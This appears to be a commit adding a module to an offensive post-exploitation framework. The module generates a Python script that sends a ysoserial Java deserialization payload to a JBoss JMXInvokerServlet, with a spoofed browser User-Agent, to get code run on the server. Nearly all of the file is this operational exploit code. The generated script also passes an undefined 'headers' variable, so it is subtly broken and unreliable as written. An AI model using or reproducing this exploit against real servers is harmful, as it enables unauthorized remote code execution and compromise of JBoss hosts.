new_contents: from lib.common import helpers
  
  class Module:
  
      def __init__(self, mainMenu, params=[]):
  
          # metadata info about the module, not modified during runtime
          self.info = {
              # name for the module that will appear in module menus
              'Name': 'Jboss JMXInvoker Java Serialization Exploitation',
  
              # list of one or more authors for the module
              'Author': ['@424f424f'],
  
              # more verbose multi-line description of the module
              'Description': ('Exploit JBoss java serialization flaw. Requires upload of ysoserial payload.'),
  
              # True if the module needs to run in the background
              'Background' : False,
  
              # File extension to save the file as
              'OutputExtension' : None,
  
              # if the module needs administrative privileges
              'NeedsAdmin' : False,
  
              # True if the method doesn't touch disk/is reasonably opsec safe
              'OpsecSafe' : False,
              
              # list of any references/other comments
              'Comments': ["Generate Payload with https://github.com/frohoff/ysoserial"]
          }
  
          # any options needed by the module, settable during runtime
          self.options = {
              # format:
              #   value_name : {description, required, default_value}
              'Agent' : {
                  # The 'Agent' option is the only one that MUST be in a module
                  'Description'   :   'Agent to execute on.',
                  'Required'      :   True,
                  'Value'         :   ''
              },
              'URL' : {
                  'Description'   :   'URL to JMXInvoker',
                  'Required'      :   True,
                  'Value'         :   'http://127.0.0.1:8080/invoker/JMXInvokerServlet'
              },
              'Payload' : {
                  'Description'   :   'Path to ysoserial payload.',
                  'Required'      :   True,
                  'Value'         :   ''
              }
          }
  
          # save off a copy of the mainMenu object to access external functionality
          #   like listeners/agent handlers/etc.
          self.mainMenu = mainMenu
  
          # During instantiation, any settable option parameters
          #   are passed as an object set to the module and the
          #   options dictionary is automatically set. This is mostly
          #   in case options are passed on the command line
          if params:
              for param in params:
                  # parameter format is [Name, Value]
                  option, value = param
                  if option in self.options:
                      self.options[option]['Value'] = value
  
  
      def generate(self):
          
          url = self.options['URL']['Value']
          payload = self.options['Payload']['Value']
          # the Python script itself, with the command to invoke
          #   for execution appended to the end. Scripts should output
          #   everything to the pipeline for proper parsing.
          #
          # the script should be stripped of comments, with a link to any
          #   original reference script included in the comments.
          script = """
  import urllib2
  
  # Read payload file into variable
  try:
      with open('%s', 'rb') as f:
          data=f.read()
  except Exception as e:
      print "Failure reading payload: " + str(e)
  
  url = '%s'
  try:
      request = urllib2.Request(url, data, headers)
      request.add_header('User-Agent',
                     'Mozilla/6.0 (X11; Linux x86_64; rv:24.0) '
                     'Gecko/20140205     Firefox/27.0 Iceweasel/25.3.0')
      request.add_header('Content-Type', 'application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue')
      opener = urllib2.build_opener(urllib2.HTTPHandler)
      content = opener.open(request).read()
  except Exception as e:
      print "Failure sending payload: " + str(e)
  
  print "Finished"
  """ % (payload, url )
          return script
  
subject: Rename Jboss module